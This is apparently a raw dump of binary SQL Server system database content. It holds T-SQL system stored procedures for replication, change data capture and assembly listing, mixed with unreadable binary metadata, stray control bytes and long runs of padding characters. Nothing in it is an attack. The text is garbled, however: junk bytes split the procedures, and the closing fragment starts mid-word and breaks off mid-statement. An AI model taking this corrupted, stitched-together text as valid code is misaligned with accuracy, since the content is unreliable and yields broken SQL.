Ofade_end_time0-'Q@pk_table_name0-'U@pk_table_schema0-']@foreignkey_tab_name0-'a@foreignkey_tab_schema0-'c@foreignkey_tab_catalog0-']@foreignkey_tab_name0-'a@foreignkey_tab_schema0-'Q@pk_table_name0-'U@pk_table_schema0-'W@pk_table_catalog0-'U@pk_table_schema0-'W@pk_table_catalog0-'a@foreignkey_tab_schema0-'c@foreignkey_tab_catalog0-'M@server_name0-'U@pk_catalog_name0-'U@fk_catalog_name0-'Q@pk_table_name0-'U@pk_table_schema0-']@foreignkey_tab_name0-'a@foreignkey_tab_schema0-@@Ccounter0-Ioccurrence0->>5?value0-88
Kpdw_node_id0-VȼhhGis_hidden0-Vȼ88
Qcolumn_ordinal0-Vȼ4=name0-VȼhhKis_nullable0-Vȼ88
Qsystem_type_id0-Vȼ4Usystem_type_name0-Vȼ44Imax_length0-Vȼ00Gprecision0-Vȼ	00?scale0-Vȼ
4Qcollation_name0-Vȼ88
Muser_type_id0-Vȼ4Yuser_type_database0-Vȼ
4Uuser_type_schema0-Vȼ4Quser_type_name0-Vȼ@4@massembly_qualified_type_name0-Vȼ88
Wxml_collection_id0-Vȼ4cxml_collection_database0-Vȼ4_xml_collection_schema0-Vȼ4[xml_collection_name0-VȼhhSis_xml_document0-VȼhhWis_case_sensitive0-Vȼhheis_fixed_length_clr_type0-Vȼ4Osource_server0-Vȼ4Ssource_database0-Vȼ4Osource_schema0-Vȼ4Msource_table0-Vȼ4Osource_column0-VȼhhYis_identity_column0-Vȼhh_is_part_of_unique_key0-VȼhhOis_updateable0-VȼhhYis_computed_column0-Vȼ hh]is_sparse_column_set0-Vȼ!44eordinal_in_order_by_list0-Vȼ"hhaorder_by_is_descending0-Vȼ#44]order_by_list_length0-Vȼ$88
Merror_number0-Vȼ%88
Qerror_severity0-Vȼ&88
Kerror_state0-l8}Q@provider_name0-l8}Q@property_name0-l8}hhS@property_value!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!K`K-))CV
gH0-Z88
[@num_tombstone_rows`$-@)W
9+,40-I@publisher0-O@publisher_db0-M@publication0-~M@publication0-~K@subscriber0-~S@destination_db0-44Qtrace_event_id0-x4xMpackage_name0-x4xOxe_event_name0-$$Egroup_id0-4Klistener_id0-4Edns_name0-88
=port0-hhOis_conformant0-@4@}ip_configuration_string_from_cluster0-88
?state0-4Istate_desc0-I@publisher0-O@publisher_db0-M@publication0-?@dbms0-E@version0- #G@database0- #hh]@ignoreremotemonitor0-G)@@Isession_id0-G)Astatus0-G)@@Irequest_id0-G)UUKsecurity_id0-G)Ilogin_name0-G)==Ilogin_time0-G)88
Kquery_count0-G)hhUis_transactional0-G)	Gclient_id0-G)
Eapp_name0-pc2M@server_name0-pc2Q@pk_table_name0-pc2U@pk_table_schema0-pc2W@pk_table_catalog0-pc2]@foreignkey_tab_name0-pc2a@foreignkey_tab_schema0-pc2c@foreignkey_tab_catalog0-500?@mode0-E?G@orig_srv0-E?E@orig_db0-E?E@command0-E?88
K@article_id0-E?88
S@publication_id0-E?hhG@cmdstate0-E?88
?@mode0-E?hhI@setprefix0-quAOcache_address0-quA4=name0-quAx4x=type0-quAOentry_address0-quAYentry_data_address0-quA88
Min_use_count0-quAhhEis_dirty0-quA88
Qdisk_ios_count0-quA	88
acontext_switches_count0-quA
88
Ooriginal_cost0-quA88
Mcurrent_cost0-quA_memory_object_address0-quA
Epages_kb0-quA4Ientry_dataIX	WlT2

]

t_

l
'
		@	c3h:~/b0E`		<cX
2#O0:| 8create procedure [sys].[sp_cdc_get_ddl_history]  				
(														
	@capture_instance		sysname
)														
as
begin

    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		declare @db_name sysname
		set @db_name = db_name()
		raiserror(22901, 16, -1, @db_name)
        return 1
    end

	if (@capture_instance is null) or (rtrim(@capture_instance) = N'')
	begin
		raiserror(22963, 16, -1, N'@capture_instance')
		return 1
	end
	
	if ([sys].[fn_cdc_has_select_access](rtrim(@capture_instance)) = 0)
	begin
		raiserror(22981, 16, -1)
		return 1 
	end
		
	exec sys.sp_cdc_ddl_history @capture_instance

	return 0
end																
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`.	<Y
4y0$ 8CREATE PROCEDURE sys.sp_MSadd_repl_command
(
    @publisher_id smallint = NULL,
    @publisher_db sysname,
    @xact_id varbinary(16) = 0x0,
    @xact_seqno varbinary(16) = 0x0,
    @originator sysname = NULL,
    @originator_db sysname = NULL,
    @article_id int = NULL,
    @command_id int = 1,
    @type int = NULL,
    @partial_command bit = NULL,
    @command varbinary(1024) = NULL,
    @publisher sysname = NULL
)
AS
begin
   SET NOCOUNT ON

   DECLARE @date datetime
   DECLARE @publisher_database_id int
   declare @originator_id int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
   SELECT @date = GETDATE()

   if @publisher_id is NULL
		select @publisher_id = srvid from master.dbo.sysservers where
			UPPER(srvname) = UPPER(@publisher)

    -- Get publisher database id.
    SELECT @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and 
        publisher_db = @publisher_db
    
   /* 
   ** To minimize contention, snapshot does not include this SP call
   ** inside a transaction. We have to insert to MSrepl_transactions table
   ** first to ensure clean up stored precedures to work, which only use 
   ** MSrepl_transactions table but NOT MSrepl_commands table to find transactions
   ** to be deleted.
   */

   IF @command_id = 1
   BEGIN
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @xact_id,  @xact_seqno, @date)
      IF @@ERROR <> 0
         RETURN 1
   END

   IF @command IS NOT NULL
   begin
      if @originator <> N'' and @originator_db <> N'' and @originator is not null and @originator_db is not null 
      begin
        set @originator_id = null select @originator_id = id from MSrepl_originators where
            publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@originator) and
            dbname = @originator_db
        if @originator_id is null
        begin
            insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                (@publisher_database_id, UPPER(@originator), @originator_db)
            select @originator_id = @@identity
        end

      end
      else
        select @originator_id = 0
      

	  if( @type in( 37,38 ) )
	  begin
	  	  declare @syncstat int
		  select @syncstat = 38 - @type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @article_id, @syncstat, @xact_seqno 
	  end

      INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, @xact_seqno,
        @type, @article_id, @originator_id, @command_id, @partial_command, @command)
    end

    IF @@ERROR <> 0
      RETURN (1)
end
0%@ 8CREATE PROCEDURE sys.sp_MSgetagentoffloadinfo 
(
    @job_id     VARBINARY(16)
) 
AS
begin
    SET NOCOUNT ON
    DECLARE @agenttype NVARCHAR(20)
    DECLARE @offload_enabled bit
    DECLARE @offload_server  sysname
    DECLARE @agent_table     sysname  -- For use in error message
    DECLARE @independent_agent bit

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    SELECT @agenttype = NULL
    SELECT @agent_table = RTRIM(@@SERVERNAME) + N'.dbo.'
    SELECT @independent_agent = 0
        
    SELECT @agenttype = LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS)
      FROM msdb.dbo.sysjobsteps
     WHERE job_id = @job_id
       AND LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) IN (N'distribution', N'merge')

    IF @agenttype IS NULL
    BEGIN
        RAISERROR(21134, 16, -1)
        RETURN 1
    END

    IF @agenttype = N'distribution'
    BEGIN
        SELECT @offload_enabled = offload_enabled, 
               @offload_server = offload_server 
          FROM dbo.MSdistribution_agents da
    INNER JOIN dbo.MSsubscriptions s 
            ON da.id = s.agent_id
         WHERE job_id = @job_id        
        SELECT @agent_table = @agent_table + N'MSdistribution_agents'
    END
    ELSE
    BEGIN
        SELECT @offload_enabled = offload_enabled, 
               @offload_server = offload_server
          FROM dbo.MSmerge_agents
         WHERE job_id = @job_id 
        SELECT @agent_table = @agent_table + N'MSmerge_agents'
    END

    IF @@ROWCOUNT = 0
    BEGIN
        RAISERROR(21135, 16, -1, @agent_table)
        RETURN 1
    END

    IF @agenttype = N'distribution'
    BEGIN
        SELECT 'offload_enabled' = @offload_enabled,
               'offload_server' = @offload_server,
               'independent_agent' = @independent_agent
    END
    ELSE
    BEGIN
        SELECT 'offload_enabled' = @offload_enabled,
               'offload_server' = @offload_server
    END

    RETURN 0
end
00, b	8
create procedure sys.sp_MSgetconflicttablename
@publication sysname,
@source_object nvarchar(520),
@conflict_table sysname = NULL OUTPUT
AS

declare @objid              int
declare @retcode            int
declare @current_conflict   sysname
declare @object_name        sysname
declare @name_out           sysname
declare @pubid              uniqueidentifier
declare @article            sysname
declare @tablename          sysname
declare @ownername          sysname
declare @artid              uniqueidentifier
declare @create_conflict_table_on_pub bit

-- Security check
exec @retcode= dbo.sp_MSreplcheck_publish
if @@error <> 0 or @retcode <> 0 return (1)

select @tablename = null
select @ownername = null

select @pubid=pubid from dbo.sysmergepublications where name=@publication and publisher=publishingservername() and publisher_db=db_name()

select @objid = object_id(@source_object)

-- Raise error if objid is still null at this point
if @objid is null
begin
    declare @db_name nvarchar(130)
    select @db_name = db_name()
    raiserror(15009,16, -1,@source_object,@db_name)
    return 1  
end
select @article=name, @current_conflict = conflict_table, @artid = artid from dbo.sysmergearticles where objid = @objid and pubid=@pubid
if @current_conflict is not NULL
begin
    -- schema_id 1 is dbo. In yukon we enforce dbo schema for the conflict table
    if exists (select 1 from sys.objects where name = @current_conflict and schema_id = 1)
        select @create_conflict_table_on_pub = 0
    else
        select @create_conflict_table_on_pub = 1
    
    if @conflict_table is NULL
        select @current_conflict, @create_conflict_table_on_pub
    else    
        select @conflict_table = @current_conflict
    return (0)
end

if len(@publication) + len(@article) > 110         -- SYSNAME minus 'MSmerge_conflict_'
    select @object_name = 'MSmerge_conflict_' + sys.fn_MSguidtostr(@pubid) + '_' + sys.fn_MSguidtostr(@artid)
else
    select @object_name = 'MSmerge_conflict_' + @publication + '_' + @article

-- return one more column here indicating that the conflict table should be created
select @create_conflict_table_on_pub = 1
if @conflict_table is NULL
    select @object_name, @create_conflict_table_on_pub
else
    select @conflict_table = @object_name
    
return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!|`A
r<Z
2A0 8 
-- add it
create view sys.dm_pdw_nodes_tran_locks as
select *, convert(int, null) pdw_node_id from sys.dm_tran_locks
0@ 	8
create procedure sys.sp_MSenum3rdpartypublications 
(
    @vendor_name sysname = NULL,
    @publication sysname = NULL
)
as
BEGIN
    set nocount on
    if (object_id(N'dbo.MSpublications') is null)
        return 0
    --
    -- This SP depends on the pre-creation 
    -- of the temp table #MSenumpublications
    --
    insert into #MSenumpublications
    select    pubs.publisher_db, publication, 
            --replication_type, 1 tran, 2 merge ; pub type 0 tran 1 snapshot, 2 merge
            case when (publication_type <> 2) then 1 else 2 end,
            immediate_sync,
            allow_pull,
            allow_anonymous, 
            0,                                        --enabled_for_internet,
            case when (publication_type = 0) then 0 else 1 end, --repl_freq, 
            --immediate_sync_ready, always return 1 so that UI will not warn
            1,
            0,                                        -- allow_sync_tran, 
            independent_agent, 
            is_member('db_owner'),
            1,                                        --thirdparty
            pubs.vendor_name,
            srv.srvname,
            N'MSSQLSERVER',
            pubs.description,
            db_name(),
            convert(bit,0),                            --allow_queued_tran
            convert(bit,0),                            --allow_dts
            thirdparty_options,
            convert(int, null),                        -- queue_type
            0                                        -- dynamic_filters
    from  dbo.MSpublications as pubs
            join master.dbo.sysservers as srv on pubs.publisher_id = srv.srvid
    where exists
            (
                select    *
                from    dbo.MSarticles as art
                where    pubs.publication_id = art.publication_id
            )
      and    thirdparty_flag <> 0
      and    (
                  @vendor_name <> N'others' and
                  vendor_name = @vendor_name or 
                @vendor_name  = N'others' and
                (vendor_name is null or vendor_name = '') or
                @vendor_name is null
            )
      and (@publication is null or pubs.publication = @publication)
END
0
@ 8create procedure sys.sp_MSreplcheck_publish 
as
begin
    --
    -- Do the sysadmin check first as it is 4 times more efficient
    -- than is_member call and reduces performance overhead in case 
    -- the user has sysadmin privileges
    --
    if    is_srvrolemember('sysadmin') = 1 or
        is_member ('db_owner') = 1
    begin
        return (0)
    end
    else
    begin
        raiserror (21050, 14, -1)
        return (1)
    end
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
`<[
94	W0k 8
create procedure sys.sp_assemblies_rowset
(
    @assembly_name      sysname,
    @assembly_schema    sysname = null,
    @assembly_id        int = null
)
as
    select
        ASSEMBLY_CATALOG    = db_name(),
        ASSEMBLY_SCHEMA     = user_name(a.principal_id),
        ASSEMBLY_NAME       = a.name,
        ASSEMBLY_ID         = convert(int,a.assembly_id),
        PERMISSION_SET      = convert(NVARCHAR(30),
                                    case a.permission_set
                                    when 1 then 'SAFE'
                                    when 2 then 'EXTERNAL_ACCESS'
                                    when 3 then 'UNSAFE'
                                    end),
        ASSEMBLY_BINARY     = af.content
    from
        sys.assemblies a inner join
        sys.assembly_files af on
            (
                af.assembly_id = a.assembly_id
            )
    where
        a.name = @assembly_name and
        (@assembly_schema is null or @assembly_schema = user_name(a.principal_id)) and
        (@assembly_id is null or @assembly_id = a.assembly_id)
    order by 1, 2, 3
`<\
J4n10B
\ 8 
-- add it
create view sys.dm_pdw_nodes_db_index_usage_stats as
select *, convert(int, null) pdw_node_id from sys.dm_db_index_usage_stats
0<] P8hc>dHEe0sf D8vh,/0_ V8create procedure sys.sp_MSaddguidcolumn
    @source_owner    sysname,
    @source_table     sysname         /* table name */
as
    declare @rowguidcol         sysname
    declare @quoted_rowguidcol     nvarchar(258)
    declare @id                    int
    declare @id_str                nvarchar(100)
    declare @qualified_name        nvarchar(517)
    declare @columns            varbinary(128)
    declare @retcode            int
    declare @colid                int
    declare @pubid                uniqueidentifier
    declare @default_bit        int    
    declare @default_function    nvarchar(100)
    declare @default_function_like    nvarchar(100)
    declare @qualified_rowguidcol_name	nvarchar(776)

    set nocount on

    -- Security check
    if 1 <> is_member('db_owner')
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    select @qualified_name = QUOTENAME(@source_owner) + '.' + QUOTENAME(@source_table)
    select @id = object_id(@qualified_name)
    
    if exists (select * from dbo.sysmergearticles sma join dbo.sysmergepublications smp
                on sma.pubid = smp.pubid
                where sma.objid = @id
                and smp.backward_comp_level < 90
                and (sys.fn_MSmerge_islocalpubid(smp.pubid) = 1))
    begin
        select @default_function = N' newid() '
        select @default_function_like = '%newid%'
    end
    else
    begin
        select @default_function = N' newsequentialid() '
        select @default_function_like = '%newsequentialid%'
    end
    
    /* Alter the source table to add a rowguid column */
    begin tran
    save tran sp_MSaddguidcolumn
    exec sys.sp_MSunmarkreplinfo @object=@source_table, @owner=@source_owner
    if @@ERROR <>0 goto UNDO

    if (ObjectProperty(object_id(@qualified_name), 'tablehasrowguidcol')<>1)
    begin
        -- we have to use guid as objid is reused in different db's and hence potential collision in naming when replicated
        DECLARE @guidid uniqueidentifier
        SET @guidid = newid()
        exec @retcode=sys.sp_MSguidtostr @guidid, @id_str out
        if @retcode<>0 or @@ERROR<>0 
            goto UNDO
        exec sys.sp_MSuniquecolname @table_name=@qualified_name, @base_colname='rowguid', @unique_colname=@rowguidcol output
        set @quoted_rowguidcol= quotename(@rowguidcol)

        exec ('alter table ' + @qualified_name + ' add ' + @quoted_rowguidcol 
                + ' uniqueidentifier ROWGUIDCOL not null constraint MSmerge_df_rowguid_' 
                + @id_str + ' default ' + @default_function)
        if @@ERROR<>0 goto UNDO
    end
    else --add default constraint on the rowguidcol, if it does not have one for its own.
    begin
        declare @quoted_constraint_name nvarchar(258)
        declare @const_id int, @bound_default_id int
        
        select @default_bit= 5
        select @colid=column_id, @rowguidcol = name, @bound_default_id = default_object_id
        from sys.columns 
        where object_id=@id and is_rowguidcol=1
    
		set @quoted_rowguidcol= quotename(@rowguidcol)
		    
        if @bound_default_id is not null
        begin
			-- Is this a default constraint or a bound default ?
			-- If bound default, unbind.
			if exists (select * from sys.objects where object_id = @bound_default_id
						and parent_object_id = 0)
			begin
				-- unbind
				select @qualified_rowguidcol_name = @qualified_name + N'.' + @quoted_rowguidcol
				exec @retcode = sys.sp_unbindefault @qualified_rowguidcol_name
				IF @@ERROR <> 0 or @retcode <> 0
                    goto UNDO
			end
        end
               
        select @quoted_constraint_name = quotename(name), @const_id = object_id 
        from sys.default_constraints 
        where parent_object_id = @id and parent_column_id = @colid
    
        if @quoted_constraint_name is not null
        begin
            if not exists (select 1 from sys.default_constraints where object_id = @const_id and definition like @default_function_like)
            begin
                EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=1
                IF @@ERROR <> 0 or @retcode <> 0
                    goto UNDO
                   
                -- drop and recreate. This is our way of going back and forth between newid() and newsequentialid()
                -- depending on publication compat level.
                exec('alter table ' + @qualified_name 
                    + ' drop constraint ' + @quoted_constraint_name)
                if @@ERROR<>0 goto UNDO
                
                exec('alter table ' + @qualified_name 
                    + ' add constraint ' + @quoted_constraint_name + 
                    ' default ' + @default_function + ' for ' + @quoted_rowguidcol)
                if @@ERROR<>0 goto UNDO
                
                EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=0
                IF @@ERROR <> 0 or @retcode <> 0
                    goto UNDO
            end
        end
        else
        begin
            select @id_str = convert(nvarchar(100),@id)
            if @id_str is NULL
                goto UNDO
                            
            exec('alter table ' + @qualified_name 
                + ' add constraint MSmerge_default_constraint_for_rowguidcol_of_' 
                + @id_str + ' default ' + @default_function + ' for ' + @quoted_rowguidcol)
            if @@ERROR<>0 goto UNDO
                            
        end
    end
    exec sys.sp_MSunmarkreplinfo @object=@source_table, @owner=@source_owner, @type = 1
    if @@ERROR<>0 goto UNDO
    
    commit tran
    return (0)
UNDO:
    EXEC @retcode = sys.sp_MSsetcontext_bypasswholeddleventbit @onoff=0
    rollback tran sp_MSaddguidcolumn
    commit tran
    return (1)    
_`;@<_
]
EF/W4K0B 	8create procedure sys.sp_MSdropguidcolumn 
	@schemaname sysname,
    @tablename sysname
as
    declare @quoted_column_name nvarchar(258)
    declare @quoted_index_name nvarchar(258)
    declare @quoted_constraint_name nvarchar(258)
	declare @quoted_table_name nvarchar(517)
    declare @column_id int
    declare @constraint_id int
    declare @object_id int

	set @quoted_table_name = quotename(@schemaname) + '.' + quotename(@tablename)  
    set @object_id= object_id(@quoted_table_name)

    select @quoted_column_name= quotename(name),
           @column_id= column_id
       from sys.columns 
       where object_id = @object_id and is_rowguidcol = 1

    -- Return if there is no rowguidcol. This might be the case because snapshot/merge
    -- were not run yet, so the column has not been added yet.
    if @quoted_column_name is null return 0

    -- Return error if the article status does not say it is about to be removed.
    if exists (select * from dbo.sysmergearticles where objid=@object_id and status<>7)
    begin
        return 1
    end

    select distinct @quoted_index_name= quotename(i.name)
        from sys.indexes i 
             join
             sys.index_columns ic on i.index_id=ic.index_id and i.object_id=ic.object_id
             join
             sys.columns c on ic.object_id=c.object_id and ic.column_id=c.column_id
        where i.object_id=@object_id and 
              c.column_id = @column_id and
              ic.key_ordinal > 0

    select @quoted_constraint_name= quotename(name), 
           @constraint_id = object_id 
        from sys.default_constraints 
        where parent_object_id = @object_id and parent_column_id = @column_id

    if @quoted_column_name is not NULL
    begin
        exec('alter table ' + @quoted_table_name + ' alter column ' + @quoted_column_name + ' drop rowguidcol')
        if @@error<>0 return @@error
    end

    if @quoted_index_name is not NULL
    begin
        exec('drop index ' + @quoted_index_name + ' on ' + @quoted_table_name)
        if @@error<>0 return @@error
    end

    if @quoted_constraint_name is not NULL
    begin
        exec('alter table ' + @quoted_table_name + ' drop constraint ' + @quoted_constraint_name)
        if @@error<>0 return @@error
    end

    if @quoted_column_name is not NULL
    begin
        exec('alter table ' + @quoted_table_name + ' drop column ' + @quoted_column_name)
        if @@error<>0 return @@error
    end

    return 0
`	1
<`^
1B,0 18create procedure sys.sp_addsubscriber_schedule (
    @subscriber sysname,
    @agent_type smallint = 0,
    @frequency_type int = 64,
    @frequency_interval int = 1,
    @frequency_relative_interval int = 1,
    @frequency_recurrence_factor int = 0,
    @frequency_subday int = 4,
    @frequency_subday_interval int = 5,
    @active_start_time_of_day int = 0,
    @active_end_time_of_day int = 235959,
    @active_start_date int = 0,
    @active_end_date int = 99991231,
    @publisher sysname = NULL
        ) AS

    DECLARE @distributor sysname
    DECLARE @distribdb sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @retcode int
    DECLARE @msg nvarchar(255)

    -- Heterogeneous publishers
    DECLARE @publisher_local sysname
    
    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /*
    ** If @publisher is NULL, set @publisher_local to @@SERVERNAME
    ** otherwise, set @publisher_local to @publisher
    */
    IF @publisher IS NULL
    BEGIN
        select @publisher_local = publishingservername()
    END 
    ELSE
    BEGIN
	/* Check if publisher exists */
  	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher	
	IF @retcode <> 0
		RETURN (@retcode)
    /* For heterogeneous publisher, the current database must be the */
    /* distribution db for the publisher */

        select @publisher_local = @publisher

        IF NOT EXISTS ( select * from master.dbo.sysservers s, msdb..MSdistpublishers m
        where UPPER(s.srvname collate database_default) = UPPER(m.name collate database_default)
        and UPPER(s.srvname collate database_default) = UPPER(@publisher) collate database_default
        and UPPER(m.distribution_db collate database_default) = UPPER(DB_NAME()) collate database_default
        )
        RETURN (1)   
    
    IF @@ERROR <> 0 
        RETURN (1)
    
    END 

    /*
    ** Parameter Check:  @subscriber.
    ** Check to make sure that the subscriber doesn't already exist, and
    ** that the name is a valid non-null identifier.
    */

    IF @subscriber IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@subscriber', 'sp_addsubscriber_schedule')
            RETURN (1)
        END

    EXECUTE @retcode = sys.sp_validname @subscriber

    IF @@ERROR <> 0 OR @retcode <> 0
    RETURN (1)

    if LOWER(@subscriber) = 'all'
        BEGIN
            RAISERROR (14032, 16, -1, '@subscriber')
            RETURN (1)
        END

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
				                                       @distribdb = @distribdb   OUTPUT,
				                                       @publisher = @publisher

    IF @@error <> 0
        BEGIN
         RAISERROR (14071, 16, -1)
         RETURN (1)
     END

    IF @retcode <> 0 OR @distribdb IS NULL OR @distributor IS NULL
        BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
    
    SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSadd_subscriber_schedule'
    EXEC @retcode = @distproc
         @publisher_local,
         @subscriber,
         @agent_type,
         @frequency_type,
         @frequency_interval,
         @frequency_relative_interval,
         @frequency_recurrence_factor,
         @frequency_subday,
         @frequency_subday_interval,
         @active_start_time_of_day,
         @active_end_time_of_day,
         @active_start_date,
         @active_end_date
    
    IF @@error <> 0 OR @retcode <> 0
        BEGIN
        RAISERROR (14042, 16, -1)
        RETURN (1)
    END

    RETURN (0)
0J 8
create procedure sys.sp_MSSQLOLE_version
as
	/* localize message without changing message number */
	declare @errtxt nvarchar(1024)
	select @errtxt=text from sys.messages, sys.syslanguages
	where message_id = 29001 
		and language_id=sys.syslanguages.lcid 
		and sys.syslanguages.langid = @@langid

	if @errtxt IS NULL
	begin
		select top(1) @errtxt=text from sys.messages, sys.syslanguages
		where message_id = 29001 
	end
	RAISERROR(55555, 16, 1); -- @errtxt

	RETURN 1
ce varchar(511)

	-- Security check: dbo and sysadmin only
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end	   

	set @rowguidstr = convert(nchar(36), @rowguid)
	set @escaped_origin_datasource = replace(@origin_datasource, '''', '''''')

    /* Delete conflict from Conflict_<Table> */
    if @conflict_table <> '%'
        begin
            select @cmd = 'delete '
            select @cmd = @cmd + quotename(@conflict_table) 
